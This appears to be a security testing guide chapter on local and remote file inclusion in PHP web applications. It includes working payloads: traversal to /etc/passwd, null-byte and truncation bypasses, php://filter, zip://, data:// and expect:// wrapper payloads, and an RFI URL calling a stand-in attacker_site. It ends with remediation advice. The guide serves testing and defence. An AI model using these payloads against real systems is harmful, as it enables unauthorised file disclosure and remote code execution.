Testing for File Inclusion
Summary
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanism implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as simple as outputting the contents of the file, but it can also lead to:
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure
Local File Inclusion (LFI) is the process of including files that are already present on the server through exploitation of vulnerable inclusion procedures implemented in the application. For example, this vulnerability occurs when a page receives input that is a path to a local file. This input is not properly sanitized, allowing directory traversal characters to be injected (such as ../
– see 4.5.1 Testing Directory Traversal File Include).
Remote File Inclusion (RFI) is the process of including files from remote sources through exploitation of vulnerable inclusion procedures implemented in the application. For example, this vulnerability occurs when a page receives input that is the URL to a remote file. This input is not properly sanitized, allowing external URLs to be injected.
In both cases, although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP, etc.
Test Objectives
- Identify file inclusion points.
- Assess the severity or potential impact of the vulnerabilities.
How to Test
Testing for Local File Inclusion
Since LFI occurs when paths passed to include
statements are not properly sanitized, in a black-box testing approach, we should look for functionality that accepts file names/paths as parameters.
Consider the following example:
http://vulnerable_host/preview.php?file=example.html
This looks to be a promising place to try LFI. If the application does not select the appropriate page given in the file
parameter and instead directly includes the input, it is possible to include arbitrary files from the server.
A typical proof-of-concept exploit would be to attempt to load the passwd
file with:
http://vulnerable_host/preview.php?file=../../../../etc/passwd
If the above mentioned conditions are met, an attacker would see something like the following included in the response:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
Even when such a vulnerability exists, its exploitation could be more complex in real life scenarios. Consider the following piece of code:
<?php include($_GET['file'].".php"); ?>
Simple substitution with a random filename would not work as the postfix .php
is appended to the provided input. In order to bypass it, a tester can use several techniques to get the expected exploitation.
Null Byte Injection
The null character
(also known as null terminator
or null byte
) is a control character with the value zero present in many character sets that is being used as a reserved character to mark the end of a string. Once used, any character after this special byte will be ignored. Commonly the way to inject this character would be with the URL encoded string %00
by appending it to the requested path. In our previous sample, performing a request to http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
would ignore the .php
extension being added to the input filename, returning to an attacker a list of basic users as a result of a successful exploitation.
Path and Dot Truncation
Most PHP installations have a filename limit of 4096 bytes. If any given filename is longer than that length, PHP simply truncates it, discarding any additional characters. Abusing this behavior makes it possible to make the PHP engine ignore the .php
extension by moving it out of the 4096 bytes limit. When this happens, no error is triggered; the additional characters are simply dropped and PHP continues its execution normally.
This bypass would commonly be combined with other logic bypass strategies such as encoding part of the file path with Unicode encoding, the introduction of double encoding, or any other input that would still represent the valid desired filename.
PHP Wrappers
Local File Inclusion vulnerabilities are commonly seen as read only vulnerabilities that an attacker can use to read sensitive data from the server hosting the vulnerable application. However, in some specific implementations this vulnerability can be used to upgrade the attack from LFI to Remote Code Execution vulnerabilities that could potentially fully compromise the host.
This enhancement is common when an attacker could be able to combine the LFI vulnerability with certain PHP wrappers.
A wrapper is a code that surrounds other code to perform some added functionality. PHP implements many built-in wrappers to be used with file system functions. Once their usage is detected during the testing process of an application, it’s a good practice to try to abuse it to identify the real risk of the detected weakness(es). Below is a list with the most commonly used wrappers, even though you should consider that it is not exhaustive and at the same time it is possible to register custom wrappers that if employed by the target, would require a deeper adhoc analysis.
PHP Filter
Used to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.
The wrapper can be used like php://filter/convert.base64-encode/resource=FILE
where FILE
is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.
PHP ZIP
In PHP 7.2.0, the zip://
wrapper was introduced to manipulate zip
compressed files. This wrapper expects the following parameter structure: zip:///filename_path#internal_filename
. The filename_path
is the path to the malicious zip archive and internal_filename
is the path of the malicious file placed inside the processed ZIP file. During the exploitation, it’s common that the #
would be encoded with its URL encoded value %23
.
Abuse of this wrapper could allow an attacker to design a malicious ZIP file that could be uploaded to the server, for example as an avatar image or using any file upload system available on the target website (the php:zip://
wrapper does not require the zip file to have any specific extension) to be executed by the LFI vulnerability.
In order to test this vulnerability, the following procedure could be followed to attack the previous code example provided.
- Create the PHP file to be executed, for example with the content
<?php phpinfo(); ?>
and save it ascode.php
. - Compress it as a new ZIP file called
target.zip
. - Rename the
target.zip
file totarget.jpg
to bypass the extension validation and upload it to the target website as your avatar image. - Supposing that the
target.jpg
file is stored locally on the server to the../avatar/target.jpg
path, exploit the vulnerability with the PHP ZIP wrapper by injecting the following payload to the vulnerable URL:zip://../avatar/target.jpg%23code
(remember that%23
corresponds to#
).
Since on our sample the .php
extension is concatenated to our payload, the request to http://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code
will result in the execution of the code.php
file existing in the malicious ZIP file.
PHP Data
Available since PHP 5.2.0, this wrapper expects the following usage: data://text/plain;base64,BASE64_STR
where BASE64_STR
is expected to be the Base64 encoded content of the file to be processed. It’s important to consider that this wrapper would only be available if the option allow_url_include
would be enabled.
In order to test for LFI using this wrapper, the code to be executed should be Base64 encoded. For example, <?php phpinfo(); ?>
would be encoded as: PD9waHAgcGhwaW5mbygpOyA/Pg==
and the payload would be represented as: data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
.
PHP Expect
This wrapper, which is not enabled by default, provides access to processes stdio
, stdout
, and stderr
. Given in the format expect://command
, the server would execute the provided command using BASH
and return the result.
Testing for Remote File Inclusion
Since RFI occurs when URLs passed to include
statements are not properly sanitized, in a black-box testing approach, we should look for scripts that take filenames as parameters. Consider the following PHP example:
$incfile = $_REQUEST["file"];
include($incfile.".php");
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code is vulnerable to this type of attack. Consider the following URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
Remediation
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible, the application can maintain an allow list of files that may be included by the page, and then use an identifier (for example, the index number) to access the selected file. Any request containing an invalid identifier should be rejected so that there is no opportunity for malicious users to manipulate the path. Check out the File Upload Cheat Sheet for good security practices on this topic.